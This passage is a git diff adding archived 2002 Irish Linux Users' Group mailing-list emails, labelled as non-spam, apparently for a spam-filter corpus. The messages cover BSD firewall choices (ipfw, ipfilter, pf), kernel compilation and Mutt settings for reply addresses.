the fuss is +about before. + +It's not in itself a reason to choose one firewall product over +another, but if that's all there is in the difference, and the +learning curve for the Operating System is the same, then I know +what I'd prefer, as a beginner. + +This is all getting rather off-topic now anyways, but since I've +been doing quite a lot of work with ipfw over the last week I jumped +on the bandwagon. + +-- + Philip Reynolds + RFC Networks tel: 01 8832063 +www.rfc-networks.ie fax: 01 8832041 + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00148.fc2f73eedca689766a5e3c796e9bd928 b/bayes/spamham/easy_ham_2/00148.fc2f73eedca689766a5e3c796e9bd928 new file mode 100644 index 0000000..377c86e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00148.fc2f73eedca689766a5e3c796e9bd928 @@ -0,0 +1,93 @@ +From ilug-admin@linux.ie Tue Jul 30 00:21:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 17658440EE + for ; Mon, 29 Jul 2002 19:21:44 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 00:21:44 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6TNDuq24718 for + ; Tue, 30 Jul 2002 00:13:56 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id AAA05654; Tue, 30 Jul 2002 00:11:57 +0100 +Received: from flapjack.homeip.net (r96-10.bas1.srl.dublin.eircom.net + [159.134.96.10]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id AAA05627 + for ; Tue, 30 Jul 2002 00:11:49 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host r96-10.bas1.srl.dublin.eircom.net + [159.134.96.10] claimed to be flapjack.homeip.net +Received: from localhost (localhost [127.0.0.1]) by flapjack.homeip.net + (8.12.3/8.12.3) with ESMTP id g6TNBgV3062243 for ; + Tue, 30 Jul 2002 00:11:43 +0100 (IST) (envelope-from + nick-lists@netability.ie) +Subject: Re: [ILUG] ipfw vs ipchains vs iptables +From: Nick Hilliard +To: ilug@linux.ie +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 +Date: 30 Jul 2002 00:11:42 +0100 +Message-Id: <1027984303.58664.60.camel@flapjack.netability.ie> +MIME-Version: 1.0 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +[warning: veering further off topic] + +Philip Reynolds wrote: +> Paul Jakma's [paul@clubi.ie] 67 lines of wisdom included: +>>i thought the firewalling code on all the BSDs was fairly related - +>>sorry. So FreeBSD's ipfw is not encumbered in the same way the old +>>OBSD firewalling was? + +ipfw was written specifically for FreeBSD under a bsd license by Luigi +Rizzo, who's one of the FreeBSD whizzes. All three of the BSD's +packaged IPFilter, which has been around for donkeys years and which has +a slightly different feature set to ipfw. + +However, last year the author of IPFilter (Darren Reed) changed the +license on development branches of ipfilter to prohibit redistribution, +although official releases would still be kept under the old license. +This policy got up the nose of Theo de Raadt (lots of things do, which +is why OpenBSD exists in the first place), so OpenBSD re-invented the +wheel and called their firewall "pf", under a full-time BSD license. + +The standard release versions of ipfilter are unencumbered, as always. + +> Nope, indeed IPFW2 has just been rolled out into -STABLE. (-STABLE +> is a stable branch of the code that has been rolled into -CURRENT +> first. It's basically a major release, that's still a work in +> progress) + +I'm not so sure that ipfw2 is really ready for production yet, having +only been mfc'd last wednesday. It certainly adds some nice syntactic +sugar, and is apparently much faster for certain types of complex +rulesets. It will be good once it's had some time to settle down a +little. + +>>i've no experience of ipfw. (closest i've come is looking at IPFilter +>>for IRIX - but it had a problem in that it wasnt maintained +>>anymore. however, while the englishy syntax is nice, i dont think +>>iptables command syntax is a big obstacle). + +ipfilter is quite nice, and is my current o/s firewall of choice. It +has some nice features like the ability to save and restore state so +that connections are persistent across reboots, and its logging is +marginally better organised than ipfw's. It's also very mature code, +which appeals to the rather conservative tastes of my old age. + +Nick + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00149.46b139b2476b135f24f53d6c8356f1e3 b/bayes/spamham/easy_ham_2/00149.46b139b2476b135f24f53d6c8356f1e3 new file mode 100644 index 0000000..0f601fb --- /dev/null +++ b/bayes/spamham/easy_ham_2/00149.46b139b2476b135f24f53d6c8356f1e3 @@ -0,0 +1,62 @@ +From ilug-admin@linux.ie Tue Jul 30 05:27:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E52A2440EF + for ; Tue, 30 Jul 2002 00:27:30 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 05:27:30 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6U4Saq07392 for + ; Tue, 30 Jul 2002 05:28:37 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id FAA16464; Tue, 30 Jul 2002 05:25:46 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from escargot.esatclear.ie (escargot.esatclear.ie + [194.145.128.30]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id FAA16431 + for ; Tue, 30 Jul 2002 05:25:38 +0100 +Received: from esatclear.ie (p-airlock019.esatclear.ie [194.165.169.19]) + by escargot.esatclear.ie (8.9.3/8.9.3) with ESMTP id FAA25320 for + ; Tue, 30 Jul 2002 05:25:37 +0100 +Message-Id: <3D461484.7030003@esatclear.ie> +Date: Tue, 30 Jul 2002 05:22:28 +0100 +From: Paul Kelly +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020725 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug@linux.ie +Subject: Re: [ILUG] Optimizing for Pentium Pt.2 +References: <200207262228.XAA19581@lugh.tuatha.org> + <20020727015716.A6561@ie.suberic.net> + <200207271701.SAA23172@lugh.tuatha.org> <3D4359EE.9050405@esatclear.ie> + <002a01c23664$b7326d40$f264a8c0@sabeo.ie> <3D44BE4F.8070603@esatclear.ie> + <20020729100846.359298c3.lbedford@netnoteinc.com> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Liam Bedford wrote: +> that is the CVS version, but it seems that more breakage is to come with the +> kernel :( + +Limbo seems to be able to compile its own kernel with its own gcc 3.1. +That said, I don't want to know what kind of patches Redhat are applying +to that kernel. The .spec file alone is 128KBytes! One of the patches is +2.4.19-ac10. Redhat don't seem to have patched Limbo's gcc too heavily. + +Paul. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00150.8f7dc1318823556f1eca402af39e08e5 b/bayes/spamham/easy_ham_2/00150.8f7dc1318823556f1eca402af39e08e5 new file mode 100644 index 0000000..5865daf --- /dev/null +++ b/bayes/spamham/easy_ham_2/00150.8f7dc1318823556f1eca402af39e08e5 @@ -0,0 +1,90 @@ +From ilug-admin@linux.ie Tue Jul 30 10:11:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 25154440F0 + for ; Tue, 30 Jul 2002 05:11:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 10:11:31 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6U98qq16848 for + ; Tue, 30 Jul 2002 10:08:52 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA26149; Tue, 30 Jul 2002 10:06:48 +0100 +Received: from mail.tradesignals.com ([217.75.2.27]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA26119 for ; Tue, + 30 Jul 2002 10:06:41 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [217.75.2.27] claimed to + be mail.tradesignals.com +Received: from docaoimh.tradesignals.com (docaoimh.tradesignals.com + [192.168.1.26]) by mail.tradesignals.com (8.11.6/8.11.6) with ESMTP id + g6U96b104027 for ; Tue, 30 Jul 2002 10:06:37 +0100 +Received: from localhost (localhost [[UNIX: localhost]]) by + docaoimh.tradesignals.com (8.11.6/8.11.6) id g6U96aV00443 for + ilug@linux.ie; Tue, 30 Jul 2002 10:06:36 +0100 +Content-Type: text/plain; charset="iso-8859-1" +From: Donncha O Caoimh +Date: Tue, 30 Jul 2002 10:06:36 +0100 +X-Mailer: KMail [version 1.4] +To: ilug@linux.ie +MIME-Version: 1.0 +Message-Id: <200207301006.36137.donncha.ocaoimh@tradesignals.com> +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + KAA26119 +Subject: [ILUG] Fwd: Linux Beer Hike +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Ar mhaith le einne anseo caint le TG4 faoin LBW? + +Donncha. + + +---------- Forwarded Message ---------- + +Subject: Linux Beer Hike +Date: Tue, 30 Jul 2002 10:00:56 +0100 +From: Diarmaid Mac Mathuna +To: donncha.ocaoimh@tradesignals.com + +A Dhonncha, a chara, + +Tá mé ag déanamh taighde don clár teilifíse An Tuath Nua (a bhíonn á +chraoladh ar TG4) faoi láthair, agus chonaic mé go mbedih an Linux Beer +Hike ar siúl i Doolin i mbliana. Bheadh spéis againn mír a dhéanamh mar +gheall ar an Hike ar an gclár - an mbeidh tú féin nó aon duine eile le +Gaeilge ar an Hike go bhfios duit? + +Go raibh maith agat as do chabhair, + +Slán, + +Diarmaid + +_________________________ +Diarmaid Mac Mathúna + +Agtel +37-39 Fitzwilliam Square, Dublin 2 +37-39 Plás Mhic Liam, Baile Átha Cliath 2 + +Phone / Fón: (01) 605 3737 / (086) 880 4187 +Fax / Facs: (01) 676 6137 + +e-mail / r-phost: diarmaid.mac@agtel.ie +web / idirlíon: www.agtel.ie + +------------------------------------------------------- + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00151.234f2b1f9331740ed7fc69418085fe2a b/bayes/spamham/easy_ham_2/00151.234f2b1f9331740ed7fc69418085fe2a new file mode 100644 index 0000000..5d58c8b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00151.234f2b1f9331740ed7fc69418085fe2a @@ -0,0 +1,77 @@ +From ilug-admin@linux.ie Tue Jul 30 10:32:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5916C440EE + for ; Tue, 30 Jul 2002 05:32:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 10:32:02 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6U9Uiq17892 for + ; Tue, 30 Jul 2002 10:30:44 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA27975; Tue, 30 Jul 2002 10:24:37 +0100 +Received: from mel-rto2.wanadoo.fr (smtp-out-2.wanadoo.fr + [193.252.19.254]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA27932 + for ; Tue, 30 Jul 2002 10:23:54 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host smtp-out-2.wanadoo.fr + [193.252.19.254] claimed to be mel-rto2.wanadoo.fr +Received: from mel-rta9.wanadoo.fr (193.252.19.69) by mel-rto2.wanadoo.fr + (6.5.007) id 3D1838B601215C0D for ilug@linux.ie; Tue, 30 Jul 2002 11:23:23 + +0200 +Received: from bolsh.wanadoo.fr (80.8.210.91) by mel-rta9.wanadoo.fr + (6.5.007) id 3D2A791A009FC014 for ilug@linux.ie; Tue, 30 Jul 2002 11:23:23 + +0200 +Received: from dave by bolsh.wanadoo.fr with local (Exim 3.32 #1 (Debian)) + id 17ZTIZ-0008Om-00 for ; Tue, 30 Jul 2002 11:28:11 +0200 +Date: Tue, 30 Jul 2002 11:28:11 +0200 +From: David Neary +To: ilug@linux.ie +Message-Id: <20020730112811.A32231@wanadoo.fr> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-15 +Content-Disposition: inline +User-Agent: Mutt/1.3.23i +Subject: [ILUG] Mutt reply hooks +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +Hi all, + +I have 3 or 4 email addresses (which get used for different +reasons), and I'd prefer not to mix them up. So I was wondering +if anyone knows of a way that I can have mail (apart from list +mail, which I have already sorted) which arrives to a certain +e-mail address have the From: header in the reply automatically +set to the address it came to. + +For example, say I have a company, and sales@company.com, +info@company.com and tech@company.com arrive in the same mailbox. +I don't want to reply to sales@company.com mails with the From: +set to dave@company.com, I would like the mail to come from +sales@company.com. + +Is there any way to do this? Bearing in mind that mail can arrive +with my email in the To or Cc fields (and Bcc?), and it might be +buried in a couple of dozen other recipients... + +Cheers, +Dave. + +-- + David Neary, + Marseille, France + E-Mail: bolsh@gimp.org + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00152.1e72a17fc4bcc0dc86725b90d5c48ab7 b/bayes/spamham/easy_ham_2/00152.1e72a17fc4bcc0dc86725b90d5c48ab7 new file mode 100644 index 0000000..1cd7b9f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00152.1e72a17fc4bcc0dc86725b90d5c48ab7 @@ -0,0 +1,73 @@ +From ilug-admin@linux.ie Tue Jul 30 10:52:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E78B4440F0 + for ; Tue, 30 Jul 2002 05:52:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 10:52:20 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6U9rrq19121 for + ; Tue, 30 Jul 2002 10:53:53 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA29596; Tue, 30 Jul 2002 10:52:19 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from ogma.tuatha.org (postfix@ogma.tuatha.org [62.17.27.129]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA29564 for ; + Tue, 30 Jul 2002 10:52:08 +0100 +Received: from ogma (localhost [127.0.0.1]) by ogma.tuatha.org (Postfix) + with ESMTP id 14BD94BE05; Tue, 30 Jul 2002 10:52:08 +0100 (IST) +Content-Type: text/plain; charset="iso-8859-15" +From: Colm Buckley +To: David Neary , ilug@linux.ie +Subject: Re: [ILUG] Mutt reply hooks +Date: Tue, 30 Jul 2002 10:52:07 +0100 +User-Agent: KMail/1.4.2 +References: <20020730112811.A32231@wanadoo.fr> +In-Reply-To: <20020730112811.A32231@wanadoo.fr> +MIME-Version: 1.0 +Message-Id: <200207301052.07851.colm@tuatha.org> +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + KAA29564 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue 30 Jul 2002 10:28, David Neary wrote: + +> I have 3 or 4 email addresses (which get used for different +> reasons), and I'd prefer not to mix them up. So I was wondering +> if anyone knows of a way that I can have mail (apart from list +> mail, which I have already sorted) which arrives to a certain +> e-mail address have the From: header in the reply automatically +> set to the address it came to. + +I don't know Mutt, to be honest, but the KDE mail client "KMail" can +do this very neatly - you set up multiple "Identity" profiles, each +with a distinct email address (and other things if desired, like a GPG +key and a signature). You can then set up KMail to use various +identities automatically when replying to messages which match a +particular pattern, or which are in a particular folder, etc. It's +all very cool, and it works very nicely. + +But I still don't know how to do it in Mutt. + + Colm + +-- +Colm Buckley | colm@tuatha.org | +353 87 2469146 | www.colm.buckley.name +A dirty mind is a terrible thing to waste. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00153.9ef75a752f258bc5e32f8d2be702a7c7 b/bayes/spamham/easy_ham_2/00153.9ef75a752f258bc5e32f8d2be702a7c7 new file mode 100644 index 0000000..2a204e3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00153.9ef75a752f258bc5e32f8d2be702a7c7 @@ -0,0 +1,68 @@ +From ilug-admin@linux.ie Tue Jul 30 11:02:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9618A440EE + for ; Tue, 30 Jul 2002 06:02:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 11:02:28 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UA1Rq19660 for + ; Tue, 30 Jul 2002 11:01:27 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA30748; Tue, 30 Jul 2002 10:59:25 +0100 +Received: from mailsweeper.altamedius.com ([213.190.152.74]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA30711 for ; + Tue, 30 Jul 2002 10:59:13 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [213.190.152.74] claimed + to be mailsweeper.altamedius.com +Received: from altaexchange.altamedius.com (unverified) by + mailsweeper.altamedius.com (Content Technologies SMTPRS 4.1.5) with ESMTP + id ; Tue, + 30 Jul 2002 11:01:51 +0100 +Received: by ALTAEXCHANGE with Internet Mail Service (5.5.2655.55) id + ; Tue, 30 Jul 2002 11:01:51 +0100 +Message-Id: <5F33D8B6C1DCD511B5940010B5C520F0175ABB@ALTAEXCHANGE> +From: Gavin Costello +To: "'dneary@wanadoo.fr'" +Cc: "'ilug@linux.ie'" +Date: Tue, 30 Jul 2002 11:01:50 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2655.55) +Content-Type: text/plain; charset="iso-8859-1" +Subject: [ILUG] mutt replies +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi David, + +Try putting "set reverse_name" in your .muttrc. + +Regards, + +Gavin. + + +********************************************************************** +This email and any files transmitted with it are confidential and +intended solely for the use of the individual or entity to whom they +are addressed. If you have received this email in error please notify +the system manager. + +This footnote also confirms that this email message has been swept by +MIMEsweeper for the presence of computer viruses. + +www.mimesweeper.com +********************************************************************** + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00154.7bda4738681c601e0fd93f3c6d1ae4a1 b/bayes/spamham/easy_ham_2/00154.7bda4738681c601e0fd93f3c6d1ae4a1 new file mode 100644 index 0000000..1fa19be --- /dev/null +++ b/bayes/spamham/easy_ham_2/00154.7bda4738681c601e0fd93f3c6d1ae4a1 @@ -0,0 +1,67 @@ +From ilug-admin@linux.ie Tue Jul 30 11:02:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0E374440EF + for ; Tue, 30 Jul 2002 06:02:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 11:02:29 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UA2dq19722 for + ; Tue, 30 Jul 2002 11:02:39 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA30918; Tue, 30 Jul 2002 11:00:55 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA30881 for ; Tue, + 30 Jul 2002 11:00:45 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id LAA18859 for ; Tue, + 30 Jul 2002 11:00:14 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g6UA0k605827 for ilug@linux.ie; Tue, 30 Jul 2002 11:00:46 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Tue, 30 Jul 2002 11:00:45 +0100 +From: "John P. Looney" +To: ilug@linux.ie +Subject: Re: [ILUG] Mutt reply hooks +Message-Id: <20020730100045.GL4594@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: ilug@linux.ie +References: <20020730112811.A32231@wanadoo.fr> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020730112811.A32231@wanadoo.fr> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Jul 30, 2002 at 11:28:11AM +0200, David Neary mentioned: +> For example, say I have a company, and sales@company.com, +> info@company.com and tech@company.com arrive in the same mailbox. +> I don't want to reply to sales@company.com mails with the From: +> set to dave@company.com, I would like the mail to come from +> sales@company.com. + + Best thing to do would be to have each of those addresses going to a +different folder, then set your "from" address based on the folder you are +in, when replying. + +john + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00155.54b624e309bf09793148296c7506f6ab b/bayes/spamham/easy_ham_2/00155.54b624e309bf09793148296c7506f6ab new file mode 100644 index 0000000..734491f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00155.54b624e309bf09793148296c7506f6ab @@ -0,0 +1,93 @@ +From ilug-admin@linux.ie Tue Jul 30 11:02:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 97AA3440F0 + for ; Tue, 30 Jul 2002 06:02:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 11:02:29 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UA39q19755 for + ; Tue, 30 Jul 2002 11:03:09 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA31039; Tue, 30 Jul 2002 11:01:30 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from fiachra.ucd.ie (fiachra.ucd.ie [137.43.12.82]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA31011 for ; + Tue, 30 Jul 2002 11:01:20 +0100 +Received: from gavin by fiachra.ucd.ie with local (Exim 3.12 #1 (Debian)) + id 17ZTns-0005En-00 for ; Tue, 30 Jul 2002 11:00:32 +0100 +Date: Tue, 30 Jul 2002 11:00:32 +0100 +From: Gavin McCullagh +To: ilug@linux.ie +Subject: Re: [ILUG] Mutt reply hooks +Message-Id: <20020730110032.A19970@fiachra.ucd.ie> +Reply-To: Irish Linux Users Group +Mail-Followup-To: ilug@linux.ie +References: <20020730112811.A32231@wanadoo.fr> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020730112811.A32231@wanadoo.fr>; from dneary@wanadoo.fr on + Tue, Jul 30, 2002 at 11:28:11 +0200 +X-Gnupg-Publickey: http://fiachra.ucd.ie/~gavin/public.gpg +X-Operating-System: Linux 2.4.18 i686 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi, + +havn't tried this, but looks like what you want. I use procmail to filter +different incomgin To/CCs to different folders then use folder hok, but +this looks closer to what you want. + + +http://www.linuxcare.com/viewpoints/ap-of-the-wk/03-31-00.epl + +************************************************************************** +Some of the mailto links on our web site forward to me. When I reply to +someone who writes to one of these aliases, I prefer to keep the mail alias +as the From: address in my reply. For example, when someone sends email to +coolapps@linuxcare.com to suggest a program for me to review [pardon the +blatant plug...], it forwards to me. When I hit reply, the From: line in +the email will contain coolapps@linuxcare.com instead of my main address +bneely@linuxcare.com. My .muttrc file accomplishes this with two lines: + +set alternates = "kbeditor@linuxcare.com|coolapps@linuxcare.com" +set reverse_name + +************************************************************************** + +On Tue, 30 Jul 2002, David Neary wrote: + +> I have 3 or 4 email addresses (which get used for different +> reasons), and I'd prefer not to mix them up. So I was wondering +> if anyone knows of a way that I can have mail (apart from list +> mail, which I have already sorted) which arrives to a certain +> e-mail address have the From: header in the reply automatically +> set to the address it came to. +> +> For example, say I have a company, and sales@company.com, +> info@company.com and tech@company.com arrive in the same mailbox. +> I don't want to reply to sales@company.com mails with the From: +> set to dave@company.com, I would like the mail to come from +> sales@company.com. +> +> Is there any way to do this? Bearing in mind that mail can arrive +> with my email in the To or Cc fields (and Bcc?), and it might be +> buried in a couple of dozen other recipients... + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00156.e4fd48f062c4059e47db9888e09ca85b b/bayes/spamham/easy_ham_2/00156.e4fd48f062c4059e47db9888e09ca85b new file mode 100644 index 0000000..995899c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00156.e4fd48f062c4059e47db9888e09ca85b @@ -0,0 +1,96 @@ +From ilug-admin@linux.ie Tue Jul 30 11:12:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0D97C440F0 + for ; Tue, 30 Jul 2002 06:12:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 11:12:45 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UAC0q20282 for + ; Tue, 30 Jul 2002 11:12:00 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA31610; Tue, 30 Jul 2002 11:09:40 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org 